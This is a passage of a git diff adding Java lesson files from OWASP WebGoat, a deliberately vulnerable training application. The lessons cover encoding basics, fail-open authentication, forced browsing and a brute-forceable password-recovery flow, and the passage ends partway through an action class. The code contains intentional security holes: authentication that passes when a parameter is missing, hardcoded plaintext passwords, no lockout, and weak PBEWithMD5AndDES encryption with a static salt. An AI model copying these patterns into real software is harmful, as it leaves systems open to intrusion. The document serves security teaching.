javax.crypto.spec.PBEParameterSpec( salt, 20 ); + + SecretKeyFactory kf = SecretKeyFactory.getInstance( "PBEWithMD5AndDES" ); + + Cipher passwordDecryptCipher = Cipher.getInstance( "PBEWithMD5AndDES/CBC/PKCS5Padding" ); + + char[] pass = pw.toCharArray(); + + SecretKey k = kf.generateSecret( new javax.crypto.spec.PBEKeySpec( pass ) ); + + passwordDecryptCipher.init( Cipher.DECRYPT_MODE, k, ps ); + + byte[] dec = decoder.decodeBuffer( str ); + + byte[] utf8 = passwordDecryptCipher.doFinal( dec ); + + return new String( utf8, "UTF-8" ); + } + + catch ( Exception e ) + { + + return ( "This is not an encrypted string" ); + } + + } + + + + /** + * Convenience method for encrypting a string. + * + * @param str Description of the Parameter + * @param pw Description of the Parameter + * @return String the encrypted string. + * @exception SecurityException Description of the Exception + */ + + public static synchronized String encryptString( String str, String pw ) throws SecurityException + { + + try + { + + PBEParameterSpec ps = new javax.crypto.spec.PBEParameterSpec( salt, 20 ); + + SecretKeyFactory kf = SecretKeyFactory.getInstance( "PBEWithMD5AndDES" ); + + Cipher passwordEncryptCipher = Cipher.getInstance( "PBEWithMD5AndDES/CBC/PKCS5Padding" ); + + char[] pass = pw.toCharArray(); + + SecretKey k = kf.generateSecret( new javax.crypto.spec.PBEKeySpec( pass ) ); + + passwordEncryptCipher.init( Cipher.ENCRYPT_MODE, k, ps ); + + byte[] utf8 = str.getBytes( "UTF-8" ); + + byte[] enc = passwordEncryptCipher.doFinal( utf8 ); + + return encoder.encode( enc ); + } + + catch ( Exception e ) + { + + return ( "Encryption error" ); + } + + } + + + + /** + * Gets the category attribute of the Encoding object + * + * @return The category value + */ + + protected Category getDefaultCategory() + { + return Category.INSECURE_STORAGE; + } + + + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + + public List getHints(WebSession s) + { + + List hints = new ArrayList(); + hints.add( "Enter a string and press 'go'" ); + hints.add( "Enter 'abc' and notice the rot13 encoding is 'nop' ( increase each letter by 13 characters )." ); + hints.add( "Enter 'a c' and notice the url encoding is 'a+c' ( ' ' is converted to '+' )." ); + return hints; + } + + + + /** + * Gets the instructions attribute of the Encoding object + * + * @return The instructions value + */ + + public String getInstructions(WebSession s) + { + return "This lesson will familiarize the user with different encoding schemes. "; + } + + + + + + private final static Integer DEFAULT_RANKING = new Integer(15); + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + + public String getTitle() + { + return ( "Encoding Basics" ); + } + + + + /** + * Returns the MD5 hash of a String. + * + * @param str Description of the Parameter + * @return Description of the Return Value + */ + + public static String hashMD5( String str ) + { + + byte[] b = str.getBytes(); + MessageDigest md = null; + + try + { + md = MessageDigest.getInstance( "MD5" ); + md.update( b ); + } + catch ( NoSuchAlgorithmException e ) + { + // it's got to be there + e.printStackTrace(); + } + return ( base64Encode( md.digest() ) ); + } + + + + /** + * Returns the SHA hash of a String. + * + * @param str Description of the Parameter + * @return Description of the Return Value + */ + + public static String hashSHA( String str ) + { + byte[] b = str.getBytes(); + MessageDigest md = null; + try + { + md = MessageDigest.getInstance( "SHA-256" ); + md.update( b ); + } + catch ( NoSuchAlgorithmException e ) + { + // it's got to be there + e.printStackTrace(); + } + return ( base64Encode( md.digest() ) ); + } + + + + /** + * Description of the Method + * + * @param hexString Description of the Parameter + * @return Description of the Return Value + */ + + public static String hexDecode( String hexString ) + { + try + { + if ( ( hexString.length() % 3 ) != 0 ) + { + return ( "String not comprised of Hex digit pairs." ); + } + char[] chars = new char[hexString.length()]; + char[] convChars = new char[hexString.length() / 3]; + hexString.getChars( 0, hexString.length(), chars, 0 ); + for ( int i = 1; i < hexString.length(); i += 3 ) + { + String hexToken = new String( chars, i, 2 ); + convChars[i / 3] = (char) Integer.parseInt( hexToken, 16 ); + } + return new String( convChars ); + } + catch ( NumberFormatException nfe ) + { + return ( "String not comprised of Hex digits" ); + } + } + + + + /** + * Description of the Method + * + * @param asciiString Description of the Parameter + * @return Description of the Return Value + */ + + public static String hexEncode( String asciiString ) + { + char[] ascii = new char[asciiString.length()]; + asciiString.getChars( 0, asciiString.length(), ascii, 0 ); + StringBuffer hexBuff = new StringBuffer(); + for ( int i = 0; i < asciiString.length(); i++ ) + { + hexBuff.append( "%" ); + hexBuff.append( Integer.toHexString( ascii[i] ) ); + } + return hexBuff.toString().toUpperCase(); + } + + + + /** + * The main program for the Encoding class + * + * @param args The command line arguments + */ + + public static void main( String[] args ) + { + try + { + String userInput = args[0]; + String userKey = args[1]; + System.out.println( "Working with: " + userInput ); + System.out.print( "Base64 encoding: " ); + System.out.println( base64Encode( userInput ) + " : " + base64Decode( userInput ) ); + System.out.print( "Entity encoding: " ); + System.out.println( HtmlEncoder.encode( userInput ) + " : " + HtmlEncoder.decode( userInput ) ); + System.out.print( "Password based encryption (PBE): " ); + System.out.println( encryptString( userInput, userKey ) + " : " + decryptString( userInput, userKey ) ); + System.out.print( "MD5 hash: " ); + System.out.println( hashMD5( userInput ) + " : " + "Cannot reverse a hash" ); + System.out.print( "SHA-256 hash: " ); + System.out.println( hashSHA( userInput ) + " : " + "Cannot reverse a hash" ); + System.out.print( "Unicode encoding: " ); + System.out.println( "Not Implemented" + " : " + "Not Implemented" ); + System.out.print( "URL encoding: " ); + System.out.println( urlEncode( userInput ) + " : " + urlDecode( userInput ) ); + System.out.print( "Hex encoding: " ); + System.out.println( hexEncode( userInput ) + " : " + hexDecode( userInput ) ); + System.out.print( "Rot13 encoding: " ); + System.out.println( rot13( userInput ) + " : " + rot13( userInput ) ); + System.out.print( "XOR with password: " ); + System.out.println( xorEncode( userInput, userKey ) + " : " + xorDecode( userInput, userKey ) ); + System.out.print( "Double unicode encoding is..." ); + System.out.println( "Not Implemented" + " : " + "Not Implemented" ); + System.out.print( "Double URL encoding: " ); + System.out.println( urlEncode( urlEncode( userInput ) ) + " : " + urlDecode( urlDecode( userInput ) ) ); + } + catch ( Exception e ) + { + e.printStackTrace(); + } + } + + + + /** + * Description of the Method + * + * @param value1 Description of the Parameter + * @param value2 Description of the Parameter + * @param description Description of the Parameter + * @return Description of the Return Value + */ + + private TR makeRow( String description, String value1, String value2 ) + { + + TD desc = new TD().addElement( description ).setBgColor( "#bbbbbb" ); + TD val1 = new TD().addElement( value1 ).setBgColor( "#dddddd" ); + TD val2 = new TD().addElement( value2 ).setBgColor( "#dddddd" ); + TR tr = new TR(); + + tr.addElement( desc ); + tr.addElement( val1 ); + tr.addElement( val2 ); + + return tr; + } + + + /** + * Description of the Method + * + * @param value1 Description of the Parameter + * @param value2 Description of the Parameter + * @param description Description of the Parameter + * @return Description of the Return Value + */ + + private TR makeTitleRow( String description, String value1, String value2 ) + { + TD desc = new TD().addElement( new B().addElement( description ) ); + TD val1 = new TD().addElement( new B().addElement( value1 ) ); + TD val2 = new TD().addElement( new B().addElement( value2 ) ); + desc.setAlign( "center" ); + val1.setAlign( "center" ); + val2.setAlign( "center" ); + TR tr = new TR(); + tr.addElement( desc ); + tr.addElement( val1 ); + tr.addElement( val2 ); + return ( tr ); + } + + + /** + * Description of the Method + * + * @param input Description of the Parameter + * @return Description of the Return Value + */ + + public static synchronized String rot13( String input ) + { + StringBuffer output = new StringBuffer(); + if ( input != null ) + { + for ( int i = 0; i < input.length(); i++ ) + { + char inChar = input.charAt( i ); + if ( ( inChar >= 'A' ) & ( inChar <= 'Z' ) ) + { + inChar += 13; + if ( inChar > 'Z' ) + { + inChar -= 26; + } + } + if ( ( inChar >= 'a' ) & ( inChar <= 'z' ) ) + { + inChar += 13; + if ( inChar > 'z' ) + { + inChar -= 26; + } + } + output.append( inChar ); + } + } + return output.toString(); + } + + + /** + * Description of the Method + * + * @param str Description of the Parameter + * @return Description of the Return Value + */ + + public static String unicodeDecode( String str ) + { + // FIXME: TOTALLY EXPERIMENTAL + + try + { + ByteBuffer bbuf = ByteBuffer.allocate( str.length() ); + bbuf.put( str.getBytes() ); + Charset charset = Charset.forName( "ISO-8859-1" ); + CharsetDecoder decoder = charset.newDecoder(); + CharBuffer cbuf = decoder.decode( bbuf ); + return ( cbuf.toString() ); + } + catch ( Exception e ) + { + return ( "Encoding problem" ); + } + } + + + + /** + * Description of the Method + * + * @param str Description of the Parameter + * @return Description of the Return Value + */ + + public static String unicodeEncode( String str ) + { + // FIXME: TOTALLY EXPERIMENTAL + try + { + Charset charset = Charset.forName( "ISO-8859-1" ); + CharsetEncoder encoder = charset.newEncoder(); + ByteBuffer bbuf = encoder.encode( CharBuffer.wrap( str ) ); + return ( new String( bbuf.array() ) ); + } + catch ( Exception e ) + { + return ( "Encoding problem" ); + } + } + + + + /** + * Description of the Method + * + * @param str Description of the Parameter + * @return Description of the Return Value + */ + + public static String urlDecode( String str ) + { + try + { + return ( URLDecoder.decode( str, "UTF-8" ) ); + } + catch ( Exception e ) + { + return ( "Decoding error" ); + } + } + + + + /** + * Description of the Method + * + * @param str Description of the Parameter + * @return Description of the Return Value + */ + + public static String urlEncode( String str ) + { + try + { + return ( URLEncoder.encode( str, "UTF-8" ) ); + } + catch ( Exception e ) + { + return ( "Encoding error" ); + } + } + + + + /** + * Description of the Method + * + * @param input Description of the Parameter + * @param userKey Description of the Parameter + * @return Description of the Return Value + */ + + public static synchronized char[] xor( String input, String userKey ) + { + if ( ( userKey == null ) || ( userKey.trim().length() == 0 ) ) + { + userKey = "Goober"; + } + char[] xorChars = userKey.toCharArray(); + int keyLen = xorChars.length; + char[] inputChars = null; + char[] outputChars = null; + if ( input != null ) + { + inputChars = input.toCharArray(); + outputChars = new char[inputChars.length]; + for ( int i = 0; i < inputChars.length; i++ ) + { + outputChars[i] = (char) ( inputChars[i] ^ xorChars[i % keyLen] ); + } + } + return outputChars; + } + + + + /** + * Description of the Method + * + * @param input Description of the Parameter + * @param userKey Description of the Parameter + * @return Description of the Return Value + */ + + public static synchronized String xorDecode( String input, String userKey ) + { + try + { + String decoded = base64Decode( input ); + return new String( xor( decoded, userKey ) ); + } + catch ( Exception e ) + { + return "String not XOR encoded."; + } + } + + + + /** + * Description of the Method + * + * @param input Description of the Parameter + * @param userKey Description of the Parameter + * @return Description of the Return Value + */ + + public static synchronized String xorEncode( String input, String userKey ) + { + return base64Encode( xor( input, userKey ) ); + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/FailOpenAuthentication.java b/main/project/JavaSource/org/owasp/webgoat/lessons/FailOpenAuthentication.java new file mode 100644 index 000000000..d3d703804 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/FailOpenAuthentication.java @@ -0,0 +1,193 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.html.A; +import org.apache.ecs.html.IMG; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Jeff Williams Aspect Security + * @created October 28, 2003 + */ +public class FailOpenAuthentication extends WeakAuthenticationCookie +{ + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + boolean logout = s.getParser().getBooleanParameter(LOGOUT, false); + + if (logout) + { + s.setMessage("Goodbye!"); + s.eatCookies(); + + return (makeLogin(s)); + } + + try + { + String username = ""; + String password = ""; + + try + { + username = s.getParser().getRawParameter(USERNAME); + password = s.getParser().getRawParameter(PASSWORD); + + // if credentials are bad, send the login page + if (!"webgoat".equals(username) || !password.equals("webgoat")) + { + s.setMessage("Invalid username and password entered."); + + return (makeLogin(s)); + } + } + catch (Exception e) + { + // The parameter was omitted. set fail open status complete + if (username.length() > 0 + && e.getMessage().indexOf("not found") != -1) + { + if ((username != null) && (username.length() > 0)) + { + makeSuccess(s); + return (makeUser(s, username, + "Fail Open Error Handling")); + } + } + } + + // Don't let the fail open pass with a blank password. + if (password.length() == 0) + { + // We make sure the username was submitted to avoid telling the user an invalid + // username/password was entered when they first enter the lesson via the side menu. + // This also suppresses the error if they just hit the login and both fields are empty. + if (username.length() != 0) + { + s.setMessage("Invalid username and password entered."); + } + + return (makeLogin(s)); + + } + + // otherwise authentication is good, show the content + if ((username != null) && (username.length() > 0)) + { + return (makeUser(s, username, + "Parameters. You did not exploit the fail open.")); + } + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + } + + return (makeLogin(s)); + } + + + /** + * Gets the category attribute of the FailOpenAuthentication object + * + * @return The category value + */ + public Category getDefaultCategory() + { + return Category.ERROR_HANDLING; + } + + + /** + * Gets the hints attribute of the AuthenticateScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("You can force errors during the authentication process."); + hints + .add("You can change length, existance, or values of authentication parameters."); + hints + .add("Try removing a parameter ENTIRELY with WebScarab."); + + return hints; + } + + + /** + * Gets the instructions attribute of the FailOpenAuthentication object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + return "Due to an error handling problem in the authentication mechanism, it is possible to authenticate " + + "as the 'webgoat' user without entering a password. Try to login as the webgoat user without " + + "specifying a password."; + } + + private final static Integer DEFAULT_RANKING = new Integer(20); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the AuthenticateScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Fail Open Authentication Scheme"); + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/ForcedBrowsing.java b/main/project/JavaSource/org/owasp/webgoat/lessons/ForcedBrowsing.java new file mode 100644 index 000000000..c457b097b --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/ForcedBrowsing.java @@ -0,0 +1,153 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Sherif Koussa Macadamian Technologies. + * @created November 02, 2006 + */ +public class ForcedBrowsing extends LessonAdapter +{ + + private final static String SUCCEEDED = "succeeded"; + + private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String success = new String(s.getParser().getStringParameter(SUCCEEDED,"")); + + if (success.length() != 0 && success.equals("yes")) + { + ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Configuration Page"))); + ec.addElement(new BR()); + Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center"); + + TR tr = new TR(); + tr.addElement(new TD(new StringElement("Set Admin Privileges for: "))); + + Input input1 = new Input(Input.TEXT, "", ""); + tr.addElement(new TD(input1)); + t1.addElement(tr); + + tr = new TR(); + tr.addElement(new TD(new StringElement("Set Admin Password:"))); + + input1 = new Input(Input.PASSWORD, "", ""); + tr.addElement(new TD(input1)); + t1.addElement(tr); + + Element b = ECSFactory.makeButton("Submit"); + t1.addElement(new TR(new TD(b).setColSpan(2).setAlign("right"))); + ec.addElement(t1); + + makeSuccess(s); + } + else + { + ec.addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel."); + } + return ec; + } + + + /** + * Gets the category attribute of the ForgotPassword object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.INSECURE_CONFIGURATION; + } + + + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Try to guess the URL for the config page"); + hints.add("The config page is guessable and hackable"); + hints.add("Play with the URL and try to guess what you can replace 'attack' with."); + hints.add("Try to navigate to http://localhost/WebGoat/conf"); + return hints; + } + + private final static Integer DEFAULT_RANKING = new Integer(15); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Forced Browsing"); + } + + + public Element getCredits() + { + return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/ForgotPassword.java b/main/project/JavaSource/org/owasp/webgoat/lessons/ForgotPassword.java new file mode 100644 index 000000000..6d2bee5ca --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/ForgotPassword.java @@ -0,0 +1,338 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; +import java.util.HashMap; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.A; +import org.apache.ecs.html.B; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TH; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; + +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Eric Sheridan Aspect Security + * @created December 18, 2005 + */ +public class ForgotPassword extends LessonAdapter +{ + + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); + + private final static String USERNAME = "Username"; + + private static String USERNAME_RESPONSE = ""; + + private final static String COLOR = "Color"; + + private static String COLOR_RESPONSE = ""; + + private static int STAGE = 1; + + private final static HashMap USERS = new HashMap(); + + private final static HashMap COLORS = new HashMap(); + + + private void populateTables() + { + USERS.put("admin", "2275$starBo0rn3"); + USERS.put("jeff", "(_I_)illia(V)s"); + USERS.put("dave", "\\V/ich3r$"); + USERS.put("intern", "H3yn0w"); + USERS.put("webgoat", "webgoat"); + + COLORS.put("admin", "green"); + COLORS.put("jeff", "orange"); + COLORS.put("dave", "purple"); + COLORS.put("intern", "yellow"); + COLORS.put("webgoat", "red"); + } + + + protected Element doStage1(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + ec.addElement(new BR().addElement(new H1().addElement("Webgoat Password Recovery "))); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + TR tr = new TR(); + tr.addElement(new TH().addElement("Please input your username. See the OWASP admin if you do not have an account.").setColSpan(2).setAlign("left")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); + + TR row1 = new TR(); + row1.addElement(new TD(new B(new StringElement("*User Name: ")))); + + Input input1 = new Input(Input.TEXT, USERNAME, ""); + row1.addElement(new TD(input1)); + t.addElement(row1); + + Element b = ECSFactory.makeButton("Submit"); + t.addElement(new TR(new TD(b))); + ec.addElement(t); + + return (ec); + } + + + protected Element doStage2(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + ec.addElement(new H1().addElement("Webgoat Password Recovery ")); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + TR tr = new TR(); + tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2).setAlign("left")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); + + TR row1 = new TR(); + row1.addElement(new TD(new B(new StringElement("*Answer: ")))); + + Input input1 = new Input(Input.TEXT, COLOR, ""); + row1.addElement(new TD(input1)); + t.addElement(row1); + + Element b = ECSFactory.makeButton("Submit"); + t.addElement(new TR(new TD(b))); + ec.addElement(t); + + return (ec); + } + + + protected Element doStage3(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + ec.addElement(new H1().addElement("Webgoat Password Recovery ")); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + TR tr = new TR(); + tr.addElement(new TH().addElement("For security reasons, please change your password immediately.").setColSpan(2).setAlign("left")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:")))).setAlign("left")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(new StringElement("Username: " + USERNAME_RESPONSE))); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(new StringElement("Color: " + COLOR_RESPONSE))); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(new StringElement("Password: " + USERS.get(USERNAME_RESPONSE).toString()))); + t.addElement(tr); + + ec.addElement(t); + + if (USERNAME_RESPONSE.equals("admin") && COLOR_RESPONSE.equals("green")) + { + makeSuccess(s); + } + else if (!USERNAME_RESPONSE.equals("webgoat") && USERS.containsKey(USERNAME_RESPONSE)) + { + s.setMessage("Close. Now try to get the password of a privileged account."); + } + return ec; + } + + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String username = ""; + String color = ""; + + color = s.getParser().getStringParameter(COLOR, ""); + + if (color.length() > 0) + STAGE = 2; + else + STAGE = 1; + + if (USERS.size() == 0) + { + populateTables(); + } + + if (STAGE == 2) + { + color = s.getParser().getStringParameter(COLOR, ""); + + if (COLORS.get(USERNAME_RESPONSE).equals(color)) + { + STAGE = 1; + COLOR_RESPONSE = color; + ec.addElement(doStage3(s)); + } + else + { + s.setMessage("Incorrect response for " + USERNAME_RESPONSE + ". Please try again!"); + ec.addElement(doStage2(s)); + } + } + else if (STAGE == 1) + { + username = s.getParser().getStringParameter(USERNAME, ""); + + if (USERS.containsKey(username)) + { + STAGE = 2; + USERNAME_RESPONSE = username; + ec.addElement(doStage2(s)); + } + else + { + if (username.length() > 0) + { + s.setMessage("Not a valid username. Please try again."); + } + ec.addElement(doStage1(s)); + } + } + else + { + ec.addElement(doStage1(s)); + STAGE = 1; + } + + return ec; + } + + + /** + * Gets the category attribute of the ForgotPassword object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + + return Category.AUTHENTICATION; + } + + + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); + + hints.add("There is no lock out policy in place, brute force your way!"); + hints.add("Try using usernames you might encounter throughout WebGoat."); + hints.add("There are only so many possible colors, can you guess one?"); + hints.add("The administrative account is \"admin\""); + + return hints; + } + + private final static Integer DEFAULT_RANKING = new Integer(15); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Forgot Password"); + } + + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java new file mode 100644 index 000000000..32b4a2e3f --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java @@ -0,0 +1,334 @@ +package org.owasp.webgoat.lessons.GoatHillsFinancial; + +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; + +import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public abstract class DefaultLessonAction implements LessonAction +{ + // FIXME: We could parse this class name to get defaults for these fields. + private String lessonName; + private String actionName; + + private GoatHillsFinancial lesson; + + public DefaultLessonAction(GoatHillsFinancial lesson, String lessonName, String actionName) + { + this.lesson = lesson; + this.lessonName = lessonName; + this.actionName = actionName; + } + + public void handleRequest( WebSession s ) + throws ParameterNotFoundException, UnauthenticatedException, UnauthorizedException, ValidationException + { + getLesson().setCurrentAction(s, getActionName()); + + if (isAuthenticated(s)) + { + } + else + throw new UnauthenticatedException(); + } + + public abstract String getNextPage(WebSession s); + + public GoatHillsFinancial getLesson() + { + return lesson; + } + + public String getLessonName() + { + return lessonName; + } + + public String getActionName() + { + return actionName; + } + + public void setSessionAttribute(WebSession s, String name, Object value) + { + s.getRequest().getSession().setAttribute(name, value); + } + + public void setRequestAttribute(WebSession s, String name, Object value) + { + s.getRequest().setAttribute(name, value); + } + + public void removeSessionAttribute(WebSession s, String name) + { + s.getRequest().getSession().removeAttribute(name); + } + + protected String getSessionAttribute(WebSession s, String name) throws ParameterNotFoundException + { + String value = (String) s.getRequest().getSession().getAttribute(name); + if (value == null) + { + throw new ParameterNotFoundException(); + } + + return value; + } + + protected boolean getBooleanSessionAttribute(WebSession s, String name) throws ParameterNotFoundException + { + boolean value = false; + + Object attribute = s.getRequest().getSession().getAttribute(name); + if (attribute == null) + { + throw new ParameterNotFoundException(); + } + else + { + //System.out.println("Attribute " + name + " is of type " + s.getRequest().getSession().getAttribute(name).getClass().getName()); + //System.out.println("Attribute value: " + s.getRequest().getSession().getAttribute(name)); + value = ((Boolean) attribute).booleanValue(); + } + return value; + } + + protected int getIntSessionAttribute(WebSession s, String name) throws ParameterNotFoundException + { + int value = -1; + String ss = (String) s.getRequest().getSession().getAttribute(name); + if (ss == null) + { + throw new ParameterNotFoundException(); + } + else + { + try + { + value = Integer.parseInt(ss); + } + catch (NumberFormatException nfe) + { + } + } + + return value; + } + + protected String 